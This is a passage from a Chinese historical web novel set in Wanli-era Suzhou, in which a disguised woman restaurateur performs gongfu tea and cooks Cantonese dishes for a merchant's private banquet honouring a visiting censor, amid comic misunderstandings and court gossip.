婆子在一边叹息,宋瑾笑笑:“没事,咱们能卖上价就成。”
玉米浸在油里,小火炸上半柱香的时间便可以了,锅铲在油里一推,那玉米饼便整个挪动,宋瑾知道彻底定了型,可以捞出来了。
整个玉米饼捞出控油,用菜刀切成六瓣摆盘,最后撒上一些白糖便完成了。
宋瑾端着玉米烙往楼上走去,玉米的甜香直往鼻孔里头钻,她也有些馋了。
两人依旧坐在窗边,这一回连卢俊年的眉头也皱了起来,宋瑾猜该不会是张居正有什么事儿吧?
“二位老爷,黄金玉米烙来了。”
宋瑾热情笑着上菜,一盘玉米烙摆在桌上,色泽金黄,香气清甜,卢俊年倒是不愁了。
“嗨,我还是头一遭见人把玉米做成这样的饼。来,别想税的事情了,咱们吃饭,吃完这顿悠闲饭,咱们还得去县里收税呢。”
宋瑾听到收税二字,身子略顿,谁知就这一小会儿的空档便被卢俊年抓住了。
35. 御史
“我说掌柜的,你这新开的店,生意还好做吧?”
宋瑾忙收回思绪,笑答:“承蒙各位老爷关照,日子还能过。”
卢俊年咬了一口玉米烙,发出一阵脆响。
“不错,舒白兄你尝尝,甜的,脆的,你会喜欢的。”说完又看向宋瑾:“掌柜的是哪里人?为何来这苏州开店?”
宋瑾避开第一个问题道:“卢大人,瞧您说的,这要做生意,不选苏州还能选哪里呢?”
卢俊年满脸喜色:“这就对了,论起做生意,首选咱们苏州。旁的不说,就是免征市肆门摊税这一项,就比别处好,是不是?”
“可不是么,要不咱们苏州生意兴隆呢。”
卢俊年越发高兴起来,这人一高兴就变得健谈,于是原本话就多的人,此刻话更多了。
“我看你年纪轻轻,长相也斯斯文文的,怎的没去考个功名,那做起生意来,不是更加顺手?”
话说到这里,季舒白夹到嘴边的玉米烙没有吃,抬眼看向宋瑾。
宋瑾察觉了出来,如今也觉得背黄诗实在是有辱斯文,只好另外自圆其说:“在下愚笨,不喜诗书,况且家中也供应不起,索性就投奔姑母,做点小生意,日子也能过的下去。”
“原来如此,家中有多少田地,这田地多了的话,这税可轻不了的。不考个功名,岂不是吃亏。”
宋瑾心中直骂卢俊年,酒没见喝一口,废话真是多,再问她老底就要被揭了,而且身边还有个苏州长大的季舒白,她不敢乱扯谎。
“家中已无田地,所以有没有这个功名也就无所谓了。”
宋瑾想,这总行了吧,没田没地也就不用怕摊丁入亩和田赋,有没有那个功名有什么关系呢?
“怎会没有田地?莫非世代从商?”这回问话的是季舒白。
宋瑾搞不明白,这两人为什么对她家的田地这么感兴趣,莫非是因为要去收税?
“呵呵,”宋瑾背后冷汗直冒,谎越扯越大:“爹爹输掉啦。”
“以田地做赌注?”
季舒白瞪大了一双眼睛,宋瑾一颗心也骤然收紧,这才想起大明律里明明白白写着不许用财物做赌注,宋瑾真是脑子昏掉了才扯了这么个谎。
大约是被逼急了,宋瑾脑子一转,给出了一个大家意想不到的理由:“爹爹也不想啊,可那是徐家。若是海青天能多在些时日,兴许我家退田也就有望了。”
说完摇头叹息,一气呵成,却把另外两人说的脸色发白。
“吃饭吃饭,喝酒喝酒,做生意嘛,不说那些田地,你这玉米倒是好吃。”
卢俊年一向都是见着不好就撤,当初那场火也是,事不关己高高挂起,可比盯着她追问的季舒白好应付多了。
宋瑾见卢俊年专心吃喝也不再多留,借着再炒两道菜的理由下楼去了。
走至楼梯口,她鬼使神差地看向那桌,一下对上了季舒白回望她的眼神,看的她心里一哆嗦,慌忙跑下楼去,以至于没有听到后面的谈话。
“卢兄可觉得此人有些狡猾?”
卢俊年不甚在意,喝了口酒道:“奸商奸商,无奸不商,你也别太计较了,凡事睁一只眼闭一只眼也就过去了。不然你怎么年纪轻轻,眉间皱纹比我还深。”
说的季舒白又皱起了眉头。
后面的菜宋瑾说什么也不肯亲自送上去,对季舒白她避之不及,以至于做完菜后便躲在厨房里发呆。
这一年是万历七年,距离海瑞罢官已经过去十年,换句话说,那个被称作海青天的清官海瑞已经赋闲十年了。
宋瑾有些叹气,老实说她还挺想见见这个固执老头的,搞不好两人能掐起来。
可再仔细想想,季舒白那严肃模样跟脑中的海瑞倒有些接近,都是太过认真不好说话的类型。
可千万别栽季舒白手里头,不然完蛋了,海瑞也别见了,否则假皮不保。
宋瑾不想见季舒白,可偏偏老天非要她见。
那日之后,季舒白跟卢俊年许久不来,宋瑾刚刚放松下来,就看见柴家派人来请宋瑾过去。
“请我过去?”
那小厮急道:“是啊,急的很。”
宋瑾更加纳闷了:“为何这么急?有什么宴席不成?”
那小厮道:“您去了我家便知了,老爷要亲自跟您谈呢。”
宋瑾一头雾水,只是柴恒是她的大财主,这一去没准又是几十两银子回来,那样的话,她就脱籍有望了。因此也并不耽搁,跟着那小厮往柴家去了。
人到了柴家后,那小厮往里头去通传,宋瑾便独自在厅中等候。过不多时就见圆滚滚的柴恒匆忙走出。
“柴大官人,您找小的来是......”
“坐下说。”
柴恒抹了把额上的汗,又撒开扇子一边摇着一边说话。
“我呢要办个家宴,不要太奢侈。”
宋瑾:“......”
家宴,还不要奢侈,还这么严肃,要干什么?
“是这样,京师来了一位监察御史,要在苏州待上一段时间,我呢,想请人家来家中用饭,但是不能太奢侈。”
宋瑾明白了,天子的眼睛和耳朵来了,只是不知道要盯着谁。
“此人呢曾经在广东呆过,你不是会广东菜么,我要几道地道的广东菜,你可明白?”
宋瑾想,就这也没必要亲自来谈啊,心里越发疑惑起来了。
“明白......吧。”
柴恒见她不太肯定,索性说白了:“我要你做几道他喜欢的菜。”
宋瑾噎死,她又不认识此人,她怎么知道这人爱吃什么。
“这个......小的又不知道这位御史大人的口味,可不敢担保。”
柴恒摆摆手道:“你就做几道最出名的就行,要印象深刻。”
宋瑾想,这银子不好挣了。
柴恒见她不说话,长叹一口气,道:“文掌柜的,帮着想想法子,这事儿顶重要。”
宋瑾想,挣钱的事确实顶重要,一想到挣钱,她脑子又活了。
“大官人,您若是真想,在下倒有一项本事可以拿出来,不过......”
宋瑾话说到一半卡住了,给柴恒急的直拍大腿:“掌柜的您有话就直说,银子不是问题。”
宋瑾听了这话笑了:“大官人,不只是银子的问题,
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还有东西。”
“东西?什么东西?”
柴恒不解,宋瑾咧嘴笑了。
柴家下人端了几托盘的茶碗出来,摆满了桌面。
“要是不够,我再给你找,想要什么样的,我必定给你找来。”
宋瑾挑花了眼。
粉彩瓜蝶纹的茶杯,刻诗紫砂小茶壶,青花仙鹤纹茶盅,紫砂竹节式茶壶等等,一一摆在宋瑾面前。
但凡她能偷走一两件,自己也就自由了。
“文掌柜?文掌柜的?”柴恒在一边喊她。
“啊?”
“这些可成?”
宋瑾想着表演功夫茶,上一世她就很擅长,只是这里的茶壶茶杯不太行。
“这些不行,得是茶杯,带盖的,杯壁要薄,茶杯够大,用瓷要好,要是官窑就更好了。不过这个茶壶是真好看。”
宋瑾抓着那个一面刻诗一面松树的紫砂壶夸道。
“这有何难,只要你能讨这御史大人的欢心,甭说一个茶壶,这一桌子都送你了。”
宋瑾嘴角咧到耳根:“小的一定竭尽全力。”
当天宋瑾就抱着一个盖碗回了食鼎楼,倒不是柴恒赏她,而是要借回去练手。
曾经宋瑾对于工功夫茶是很有研究的,可惜如今使起来却缺了些火候,那双炒菜炒习惯的手,竟然承受不住开水的烫,以至于练习时差点儿甩飞那茶碗。
宋瑾心疼钱,不肯上茶叶,就用开水这么一遍一遍地练,练的春云心疼不已。
“姐姐,咱们不能用凉水么?你瞧这手指,烫成这样,再烫就能撸下皮来了。”
宋瑾笑道:“你撸鸡爪子撸多了吧?我的皮可没那么容易烫下来。”
春云笑笑:“也差不多了。”
与其说宋瑾在练功夫茶,不如说在练习让手指适应高温开水。慢慢的从开始的惨叫连连到后来渐渐适应,可就在宋瑾觉得功夫即将练成的时候,“啪”的一声脆响,那盖子在一阵旋转后结结实实地砸在了地上,摔了个稀碎。
宋瑾跟春云盯着那稀碎的瓷片,这下完了,练不成了。
她不担心柴恒找她计较这个盖子,又不是什么御赐之物,柴恒亏的起,只是她没东西练了。
既没得练,宋瑾索性也不练了,空着一双手跑去了柴恒家,打算给他表演一下阶段性成果,最好再捧回来两个杯子。
柴恒也是怪,明明自己不当官,却对那御史极其上心。听见宋瑾来了,忙招呼人进去。
宋瑾表明来意,说要展示一下功夫茶给他瞧瞧,他也不问,直接招呼人上茶具。
按照宋瑾的要求,带着拖碟的盖碗,茶叶,茶杯,开水一一摆上。
宋瑾扫了一眼这才发现缺了不少。
“大官人,可有旁的茶?”
还真别说,用莫干黄牙表演功夫茶,宋瑾总觉得缺了点什么。
“你要什么茶?只要是咱们大明有的,我都能给你找来。”
“武夷茶。”
柴恒听了愣怔了会儿,忽然反应过来,一拍脑门:“我差点儿给忘了,广东样式的,恐怕是得武夷茶。”
说完忙招呼人进去拿武夷茶来。
36. 功夫茶
武夷茶是红茶,在苏州实在不算盛行,要不是柴恒做茶叶生意,估摸着也难立刻拿出来。
茶碗茶杯选了一套德化窑的白釉茶器,白瓷细腻,线条流畅,宋瑾拿在手中,肉眼看去便觉得那是艺术品。
没有滤茶托盘,那就只好用一个木托盘上面盖着一个竹篾盘冒充。
水壶要金属的,这样更加保温,壶嘴要细长的那种,注水更加好看。
柴恒不懂得这些,听宋瑾点名说要这个要那个,虽然奇怪却也听话,吩咐下人都去找来。
他倒要看看,宋瑾这回要玩什么花样。
两人对坐着,宋瑾将茶器一一摆好,这才开始了她的表演。
暗色的茶叶放入茶碗里头,开水从细长的壶嘴里注入。
“这一步叫注水。”宋瑾一边操作一边解释着:“这一步叫刮沫。”
茶盖贴着茶碗边缘绕了一周,最后斜斜地在茶碗边沿上停住了,看的柴恒一下就瞪大了眼睛。
“这也行?”
宋瑾笑笑,知道自己忽悠住了柴恒,于是继续道:“这一步叫搓茶。”
茶盖边缘伸进茶碗之中,贴着茶碗去“搓”那茶叶,绕了两圈之后再盖上盖子道:“这一步叫摇香。”
指尖压着茶盖,绕圈晃动茶碗,滚热的开水顺着茶碗边沿流下。茶盖受热许久,此刻已经开始烫手,宋瑾不敢松开,只能硬挨着。
“接下来是出海。”
宋瑾捏着茶碗边沿,刚一触上眉头便皱了起来,这跟把手指伸进开水里差别不大。
因为这时候没有茶宠,宋瑾也就不闹那些,直接倒在带斜口的深杯里,当做公道杯使用,再从深杯中倒入白瓷杯,只当洗杯之水。
侧倾杯托,将托碟里头的茶水倒干净,二次注水后直接出海,将茶倒入深杯之中,再分倒进小茶盅里。
宋瑾端起一茶盅,递到柴恒面前:“大人请喝茶。”
柴恒瞪着一双大圆眼,茫然地接过茶杯:“这就是功夫茶?”
“正是。”
他端着茶杯喝了一口,也不知怎么的,人似乎在走神,冷不防烫了唇,哎哟一声又给吐了。
“好是好,就是......”他上下打量了一下宋瑾,一身棉布衣,实在是太寒酸了些。
“大官人,在下是食鼎楼的掌柜,又不是什么唱曲的姐儿,太过华丽实在不宜。”
宋瑾知道他在想什么,只是她不想节外生枝,况且来的又是监察御史,她穿那么华丽,不是往枪口上撞么。
低调,才是最保险的。
“也是,是不好太华丽,只是这衣裳也旧了啊。”
柴恒想了想道:“这样,你跟我到后头来,好好的再练几遍给我瞧瞧。我也叫个裁人过来,给你裁身新衣。你这身衣裳,实在寒酸了些。”
被柴恒反复强调寒酸,宋瑾也不禁看了看自己,还是当初做的棉布衣。再看看柴恒,只见他穿一身月白色与地青色相间的缠枝莲花纹闪锻道袍,一只大蓝蝴蝶般,耀眼至极。
有新衣服穿,宋瑾自然不辨什么,柴恒吩咐下人端着茶器茶叶,一并往后头去了。
宋瑾上次来的时候是七夕宴席,既是夜里,又在忙碌,跟今日心境不大一样,这一回,她结结实实把这条小路看清了。
柴恒走在前头,宋瑾跟在后头,从侧面八角门穿出进入游廊,游廊上行了一段,宋瑾还未来得及欣赏廊外风景便被带入一条小径。
石板小路,芭蕉翠竹交替而过,假山错落,偶有芙蓉探出头来,再穿过一道月洞门,顿时视野开阔起来。
绿荫湖水,天地一色,湖边石板小路,尽头处一间小亭,竟然不见院墙所在。柴恒领头走着,风中夹杂着金桂特有的甜香。
有钱人啊。
宋瑾心中叹息,这哪里是家,这简直世外桃源,怪不得赏银给的那么大方,换成是她,她也大方。
“我想好了,那日御史大人来家,便在此地设宴。安静,风景也好,不会显得太过张扬。”
宋瑾嘴上直夸柴恒好心思,心里也真的觉得柴恒心细。
两人坐下,茶器重新铺好,宋瑾提醒当日需要一个火炉,她随时需要开水。
柴恒都应下,吩咐下人按照要求一一准备好。
宋瑾依着记忆再次泡了几回茶,喝的柴恒反复跑了几趟,宋瑾趁着人不在,捏着耳朵给自己的手指降温。
右手两根手指烫的通红,还得再练。
就在这个空档儿,裁缝进了院,帮着宋瑾量了身,柴恒吩咐取一匹上好的松江棉布裁衣,吩咐完又颇为遗憾地转头对着宋瑾道:“我还是头一回给人裁棉布衣,丢人。”
宋瑾笑:“您家下人不穿棉布衣呀?”
柴恒道:“这事可不归我管。”
宋瑾明白了,是夫人的事情,他才不管这些。
柴恒说完话,又打量着宋瑾,最后视线落在了宋瑾一双手上,忍不住伸手抓过来。
就在宋瑾以为要经历职场性骚扰的时候,柴恒了开了口:“哎呀,这双手真是可惜。这茶艺好,这手怎的这么糙呢?”
宋瑾心中翻了个白眼,原来是嫌弃手指太糙,把玩杯盏不好看。
“你可有见过那擅弹琵琶的玉娇,那双手才叫好看,要是她来烹茶,必定比你好看多了。”
宋瑾遭了嫌弃,也懒得理他,由他抓着手腕近看远看左看右看,自己则盯着柴恒那道袍大袖不放。
闪锻的面料实在好看,张扬的很,面料一动花纹一闪,若是换成百蝶纹,柴恒岂不成了大花丛?
思虑间,宋瑾伸出那只自由的手抓住了一截衣袖。
面料软糯丝滑,夏季穿来极为舒适,要是自己这辈子也能穿上她不得美死。
两人就这样,一个嫌手,一个羡衣,都没注意到一个人走到了附近。
“柴恒!”
宋瑾第一次对河东狮吼有了具体感受,耳膜震的发疼,与此同时感觉到自己那只手被人一甩,直接砸到石桌桌面,疼的她嘴巴一咧。
还没有来得及叫屈呢,柴夫人已走至眼前。
“好啊你个柴恒,我道最近那帮狗腿子不来了,原来是换了人了。我不叫你去烟花巷,你可倒好,在家玩起厨子了。
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”
宋瑾:“......”
柴恒跟宋瑾一句也没来得及辨,桌上一只德化白釉的茶盅便被砸到宋瑾脚下,惊的宋瑾一蹦三尺高。
不怕被砸,只是心疼那杯子,不想要了可以赏她啊,砸了多可惜。
“你们两个光天化日的,就在这后院里,是当我死了嘛?”
宋瑾:“......”
“夫人啊,你听我解释啊——”
柴恒不开口还好,一开口就被一只胖手揪住了耳朵,扯得嘴角都变了形。
宋瑾一看这情形,柴恒也把控不住啊,再留就该轮到自己挨揍了,连忙告辞。
“大官人,小的先回了,先回了。”
匆忙撤退间,还顺手从桌上抓了杯子和茶盅,边跑边喊:“我回去再练练。”
宋瑾跑的快,两手抓的满满的,顺着那小道往外头直奔。
也是冤家路窄,小道尽头赫然立着青竹杆子。
宋瑾呆在那里,进也不是,退也不是,想拱手行礼,又满手都是东西。
这大明,好像也没有行跪拜大礼的,对吧?
宋瑾实在不知道该怎么办,只好缩着脖子呆站在那里,直到青竹杆子微微侧身,给她让开道路。
“多谢季大人......”
声音轻的很,宋瑾十分没骨气地弯腰从他身边走过,身后传来柴夫人的大嗓门。
“就算你要找人,你也找个干净漂亮的,那个干巴巴的柴火棍子有什么好的?”
宋瑾心中委屈至极,撇着嘴回头看向那亭子里,结果亭子没看见,就看见季舒白那笔直的身子。
他没动,还看着宋瑾。
宋瑾没敢再留,转头跑远了。
季舒白直等到宋瑾的身影消失在月洞门里,这才抬脚往亭中去,此刻正是热闹的时候。
“夫人,夫人,这是误会,天大的误会啊。”
“误会?老娘看的清清楚楚,你们两个人在这地方,手拉着手,你侬我侬的,情谊深厚啊。”
柴夫人叉着腰,站在亭中央骂着,柴恒捂着耳朵缩在一角,看起来委屈至极。
此刻见着季舒白来了,慌忙求救:“舒白,你帮我说说话,我真没干什么,就是喝喝茶。”
“喝茶?你当我傻是不是?往日你几时喝过这武夷茶?这是他的主意对不对?”
柴恒急的眼泪都下来了,冲过去抱着季舒白的胳膊道:“我是真冤啊,我听说罗大人要来,想着家中设宴,又听闻他在广东待过许多年,那文掌柜不是会做广东菜嘛......”
“这是广东菜?”柴夫人没听他讲完,就抓着那铜水壶怼到他眼前问他。
“不是,不是,”柴恒大大的身子躲在季舒白身后,藏不住一点儿:“那文掌柜的给我出了个主意,说什么功夫茶,可以像弹琵琶一样演,我就叫他演啊。”
“演?怎么演?手抓着手演啊?”
柴夫人一声吼,吼得柴恒一把抱住季舒白的腰。
“我是说他手糙,原想叫他养养,谁知道半途你来了,我话都还没有说完呢。”
37. 表演
柴恒急急辩解,柴夫人信不过,倒是季舒白出来打圆场:“好了嫂子,柴大哥你还不知道么,他不闹这些的。”
“从前是不胡来,现在认识了一帮不知道什么人,整日带着他出门玩闹,谁知道最后玩去哪里了。”
柴夫人也委屈的紧,伏在桌上哭诉:“我嫁过来这么些年,我也知道他是厌弃我了,从前想着外头的姐儿,如今是连哥儿都惦记上了。”
“我没有......”柴恒见夫人哭,立刻从季舒白背后跳了出来,“我与他们数日不来往了,你不是都知道的吗。”
柴夫人不理,兀自伏在桌上哭泣。她嗓门大,骂起人来中气十足,哭起来也是惊天动地。
季舒白听见哭声,眉头微拧,就在不知道该怎么办时,柴恒已经扑过去哄了。
“好了娘子,你别哭了,我往后与他们断了联系,多在家中陪你可好?”
形势扭转之快,令季舒白哭笑不得,只是这场面他见惯了,索性转身出去,留他二人在这里互诉衷肠。
而此刻的宋瑾,已经抱着那几件德化白釉的瓷器,喜滋滋地跑远了。
对宋瑾而言,她完全不在乎这场“绯闻”,一门心思全在这场功夫茶成功表演后能得多少赏银,所以把茶艺练好是她眼前唯一重要的事情。
手中这套瓷器比之前借回来摔碎的那套更加适合做功夫茶表演,宋瑾索性狠狠心,又提高了难度。
手指耐不住热,她就强迫自己端着盛了开水的茶杯一遍遍去烫,有好几回宋瑾都觉得自己那手指头上的肉都差不多烫死了,因为已经没多大知觉了。
就这般练到八月初,柴家那边来人通知,日子定下了,是私人的宴会,不要张扬,要悄悄的,又将那日裁的布衣送来,叫他当日穿上。
宋瑾一一应下,许诺当日一定准时到场。
是临近中秋的日子,苏州街头四处弥漫着木樨香气,好闻的很。
时间虽定在下午,宋瑾却在早上就到了柴家。换了一身新裁的菊蕾白布衣。
宋瑾很少穿这样浅色的衣裳,不为别的,不耐脏,下人穿着多有不便,所以这还是她头一回穿。猛然一看,觉得人都光鲜了。
宋管事告诉她今日季舒白和卢骏年也会来,连着御史大人和柴恒,一共四人的小家宴,客人还未到场。
宋瑾心中有了数,先到厨房将菜准备好,这才在下人的带领下进了内院。
说是内院,其实大半是花园,宋瑾在湖上八角亭里见着了柴恒,倒没什么要求,就是再演练几次。
还好这次柴恒再没抓她的手,也没嫌弃她的手,宋瑾心里舒服许多。
这位御史大人在下午临近酉时才在季舒白和卢骏年的陪伴下过来,宋瑾对这里的官场之事虽有理解,却极为宏观。
她知道海瑞,知道徐阶,知道张居正,却不知道某年某月某个御史到了苏州要干什么,只看到柴恒严阵以待。
这种官商联接一事,她也不好多问,只好装作哑巴不闻不问,心里只盼着赏银丰厚。
用晚饭之前,柴恒身边的小厮前来召宋瑾到内院去,宋瑾心中明了,自然是为了那茶。
还是那间小亭,宋瑾的心情不似那日悠闲,毕竟柴恒都认真对待的人她也不敢怠慢,因此心中惴惴,跟着小厮走着,也没了看风景的闲心。
宋瑾抵达亭中时,看见桌上已经摆了一套茶具,便明白柴恒已经安排过了。
“罗大人,这位便是刚刚提到的文掌柜,不单单会做广东菜,说是还会茶艺,今日特意请来烹茶。”
柴恒难得那么正式,宋瑾不敢怠慢,忙拱手行礼,人还未直起身子,就听一个低沉儒雅的声音道:“今日叙旧,不讲那些虚礼,既要烹茶,就过来坐吧。”
语速平缓,声音清润低沉,宋瑾听得十分舒适,谢过之后忍不住抬头去看那人,就见那人一身鹤灰缎地祥云纹的直身衣,因是坐着看不清腰带和鞋子。头戴唐巾,面颊窄瘦,年约四十。双目不大,却透着慈祥的光。整个人看起来不太惹眼,倒是一把胡子极为瞩目,颇有点美髯公的意思。
人到中年的儒雅文官,宋瑾在心中定了性,通常这类人不会当面给人难堪,于是在那个预留好的位置上坐下了。
茶器茶叶开水碳炉早就备好,宋瑾一一取来使用就好。
桌上原先摆好的一盆水果被下人悄悄挪开,一股熟悉的香气钻进宋瑾的鼻孔,突然灵光一闪,抬眼去追那香气,一个麻麻赖赖的东西进入了她的视线。
素来听闻古人以香为雅,可是这八月天气在院中燃香,一则有些热,二则实在破坏了茶的香气,于是有些人便养成了用新鲜水果替代焚香的法子,柠檬的香气就是这么来的。
宋瑾一眼就认出摆在盘里那麻麻赖赖的东西是柠檬的亲戚,这可是个好东西,只是眼下不是关注柠檬的时候,宋瑾只好暂时压着小心思,一心一意准备表演功夫茶。
“从前在广东的时候,当地人倒是爱喝茶,以至于我也养成了这个习惯。只是没想到,到了这苏州,竟然还有人会广东的泡法,倒是叫人意外。”
宋瑾正在准备取茶,手上不停,心中却在感慨声音真好听,她猜他此刻应该是捻着胡须在说话,像是早年看过的古装片。
可惜她不敢走心,一门心思准备着茶叶。
茶碗摆好,宋瑾先炫了一个小技,用茶盖贴着茶碗的边沿用力一拧,那茶盖就贴着碗沿快速旋转开,一下就吸引了众人目光。
“哦,还能这么玩的,哈哈哈——”
罗大人感慨一声,众人的目光一下都落在宋瑾那双手上。
在盖子即将没有动力之时,宋瑾不紧不慢地抓住提手,侧放在碗沿上,开水从茶盖侧边浇进茶碗,确保内外同温。
手指紧按住茶盖,左右晃动那注满水的茶碗,接着提起盖子,竟然连茶碗也一同提起。
宋瑾得意地抓着盖碗提手在众人面前展示一番,引得那罗大人大笑:“是有两下子。”
茶碗归了位,揭开盖子,将水尽数倒出,再丢一把上好的武夷茶。
“从前听人烹茶,都言是雅事,如今看文掌柜放茶叶,
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倒多了几分潇洒之意。不错不错,有点儿意思。”
罗大人一直夸着,宋瑾猜到柴恒脸上一定笑开花,心里也高兴,手上动作越发大开大合起来。
茶碗注水,要一直注到漫出茶碗,用茶盖内侧沿着碗沿绕一圈,表面的一层水顺着茶盖内侧流淌出去。
“这叫刮沫。”宋瑾开始一边演示,一边解释,话音未落,手指用力一旋,那茶盖贴着碗沿再度旋转起来,这一回竟然还回了头。
“这个叫时来运转。”
“哦,有点儿意思。”罗大人也不似一开始的儒雅镇定,此刻颇有点一惊一乍的意思。
盖子盖住茶杯,按紧后画圈摇晃。
“这个叫摇香。”
宋瑾晃了两晃后也不停留,揭开盖子压住大半碗口,将茶水往带斜口的深杯里倒去、
“这个叫出海。”
杯子里有了茶水,宋瑾也不急着倒茶,而是再次注水,重复之前的动作,只是在摇香之后便停止了,盖着碗盖焖泡。
深杯里的茶水倒入茶盅,也不递到各人面前,而是一一倒掉。
“这个是洗杯。”
洗茶叶的水宋瑾可不敢给各位喝,只等着第二杯茶出来再递给各位老爷。
“本官在广东多年,也不曾见这么细致的泡茶手法,听你口音似乎也不是广东人,为何会如此泡茶?”
宋瑾一听又来了,没有办法,只能继续扯谎。
“幼年家中曾有一位来自广东的奴仆,这是他家中惯常的泡法,后来教了在下,所以略会一二。”
洗杯说话的功夫,那茶已经闷泡完毕,宋瑾将新的茶水倒入深杯,再从深杯倒入茶盅。
上好的武夷茶,茶汤红亮,茶盅瓷白,二者放在一起,红者愈红,白者愈白,甚是赏心悦目。
四杯茶一一递到各人面前,宋瑾看见柴恒伸手去抓那茶杯要喝,结果提到一半瞳孔瞬间放大,杯子被迅速放下,手也缩到了桌子下面,明显是被烫着了。
宋瑾垂下头,压着笑,她自己也没好到哪里去,左手正在桌下紧紧捏着右手两根手指强行降温呢。
另外两人没他急,显得体面不少,倒是御史罗大人,似乎习惯了这滚烫的温度。
只见他先抓起茶杯,放在鼻尖下嗅了嗅,道:“不错,是今年新出的武夷茶。”
接着放下杯子,娓娓道来:“说起这广东的泡茶,少见江南喝惯的绿茶。除了武夷茶,他们本地产一种单枞茶,喝惯了也是极香的。”
“大人说的可是凤凰单枞?”宋瑾非常不合时宜地插了嘴。
“哦,你还知道凤凰单枞?”
宋瑾笑笑:“听家人说的。”家人自然就是前面说的家中老仆。
罗大人听见有人跟他说起广东茶叶,兴致也起来了:“没想到在这苏州还能遇见对广东这般了解的人,是本官小觑了这苏州了。听柴公子说你还会做广东菜,不知道今日给本官准备的是什么呀?”
宋瑾道:“大人尝过便知。”
她不敢讲,怕柴恒骂她。
38. 吃瓜
“好,你要卖这个关子,那本官就拭目以待,哈哈——”
这位罗大人看起来似乎很高兴,跟宋瑾说了会子茶后,又命人取来茶杯,让宋瑾也跟着一起喝,叫她不必太拘谨,接着便跟另外三人一起说起话来。
宋瑾接过杯子,自己倒了茶,一边小口饮着,一边闲听八卦。
“季大人当初在京师之时,你我二人也不曾私下接触,没想到来到苏州倒是又遇上了,也是缘分。”
“罗大人一路奔波,辛苦了。”
宋瑾:场面话,无聊。
“你年纪轻轻,便受首辅大人赏识,将来必成大器。”
宋瑾:张居正!张居正!张居正!来多点!
“不知首辅大人近日可好?”
宋瑾:不好哦,再过几年就要死啰。
“嗳,首辅大人劳心劳力,这些年身子是一年不如一年了。”
宋瑾:我就说要不行了嘛。
“再加上前两年......罢了,今日叙旧,不提那些。”
宋瑾这会子也没了吃瓜的心思,心里料到张居正这几年不太平,不过权势不减是真。
“听说季大人是苏州人?苏州哪里人?”
“在下苏州长洲人,自小在这里长大。”
“哦,那巧了,本次任同知,倒是荣归故里了。”
宋瑾饮了口茶,心中抱怨没有瓜子嗑。
“季大人既回了苏州,想必二老高兴的很,平时见你都住在公廨,极少回家,也不怕二老和夫人抱怨。”
宋瑾:闲聊,真的闲的不行。
“家父家母均已过世,下官也不曾娶亲。”
哦豁,冷场了。宋瑾忙垂下头假装喝茶。
“哦,是么?”
宋瑾:可不是么,多嘴,跟我一样爱多嘴,这下长记性了吧。
“倒是有些意外。”那罗大人顿了顿,扯开话题道:“说起来这季姓也是不多见了,前些年我在广东时,听闻早年福建有位季姓的海道提督,年纪轻轻却骁勇善战,倒是与你同姓。”
沉默,安静的一根针掉在地上都能听见,宋瑾一杯茶端在手中,不敢喝,也不敢放,不禁心中嘀咕,怎么没人说话?
“这位提督大人正是家父。”
言简意赅,却让全场冰冻,唯独宋瑾不解。
季提督怎么了?季舒白年岁也不老,怎么就爹娘都死了?
“呵呵,不聊这些了,今日柴公子设家宴,让我们大家尝尝广东菜,不知道文掌柜手艺如何。我看不如早些上菜,大家边吃边聊。”
“对对对,今日家宴,不提那些沉重的话题。你哥哥托我给你带好,说他在京师一切都好。”
“那就好那就好。”
卢骏年适时打了个哈哈,将话题岔开,桌上氛围一下轻松起来,宋瑾这才敢抬眼去看众人。
季舒白,父亲曾任福建海道提督,如今父母双亡,没有娶妻。
监察御史罗大人不详。
柴恒有哥哥在京师。
至于卢骏年,无人提及,如宋瑾一般,在这桌上隐了形。
提起吃饭,宋瑾便不能再坐了,起身告辞去了厨房,留下茶具叫下人收拾了。
这天的家宴宋瑾也用了些心思,除去以往吃过的广东菜式,宋瑾又添了一样奇特菜式,一早便已做好,此刻正让家仆们往里头端去。
宋瑾做好了几样重头菜,也好奇自己的小心思到底会不会被那位罗大人喜欢,于是悄悄地跟在奴仆身后往后院去了。
有了上次的经验,宋瑾这一回离得远些,只站在廊下,隔着一片湖面去看对面的亭子。
此刻天已黑透,遮天蔽日的绿荫在白日里看起来无比清凉舒适,夜里再看,透不进一丝月光,唯有小径上的昏黄烛火一路指向那八角小亭。
亭中几人端坐着吃菜,奴仆们悄无声息地上菜,宋瑾瞧着,一股幽森之感袭来。
以她的视角来看,如今这几人都已化为尘土,不知道被风吹向何处,而现在却活生生地站在宋瑾面前。
那位京师来的罗大人,明明职位不高,却是这一顿饭的中心人物。
卢骏年年岁不大已是通判,却在这张桌上没有什么存在感。
柴恒无一官半职,却因为有个哥哥在京师,而被特殊对待。
至于季舒白,季姓的海道提督......宋瑾想了许久怎么也想不起来这号人物,只能从年岁推算,那时候的福建很可能在抗倭,不知道季舒白的爹娘去世,是否与倭寇有关。
那御史大人也怪,明知道季姓少见,还非要提这一嘴,从年龄也该能推算出来呀。
宋瑾阴险地想,或许就是故意的。
就在宋瑾胡思乱想之际,亭中传来声音。
“没错,就是这个味,这苦瓜酿就得隔夜才好吃。”
宋瑾笑了,她没敢告诉柴恒这道菜是隔夜的,怕他骂自己给御史大人吃剩菜,还好这位御史大人识货。
新菜被夸,宋瑾开心,柴恒也开心,只要柴恒高兴,赏银就不会少。
了解了情况后,宋瑾欢欢喜喜地回了厨房,一边准备接下来的一些小菜,一边等着柴恒的赏赐。
柴恒的确大方,送走了罗大人之后,便叫人带她去领赏。
宋瑾跟着下人往厅里走着,木头建造的厅里只有顶上六盏宫灯亮着,叫她意外的是季舒白正坐在那里。
他今天穿的一身靛蓝缎地的直身衣,头戴黑纱唐巾,双目紧闭,眉头微蹙,整个人坐在圈椅里,靠着椅背,双臂搭在扶手上,看起来十分疲惫。
昏暗的光线下,整个人静默的像是一座山,下人领着她经过时也不曾睁眼。
一种心疼的感觉陡然袭来。
啊呸!老娘一个奴也不见人来心疼,他一个官老爷,心疼个屁。
宋瑾瞬间打消那荒唐的念头,心情也随着那包沉重的银子进到怀里而欢喜起来。
“今日罗大人很满意你的表现,刚刚还说过两日得空,想请掌柜的去公廨帮着烹茶。”
宋管事传着话,宋瑾忙不迭答应了。
“另外我家老爷与你有一事商议。”
“您说。”生意来了。
“是这样,这茶艺呢我家老爷也是喜欢,怕掌柜的不能时时得空,所以想请掌柜的教一教家中的奴婢们。这样一来,往后就不必常常麻烦掌柜的。当然,这银子是不会少的。”
宋瑾明白了,跟焦糖布丁一样,直接买断。
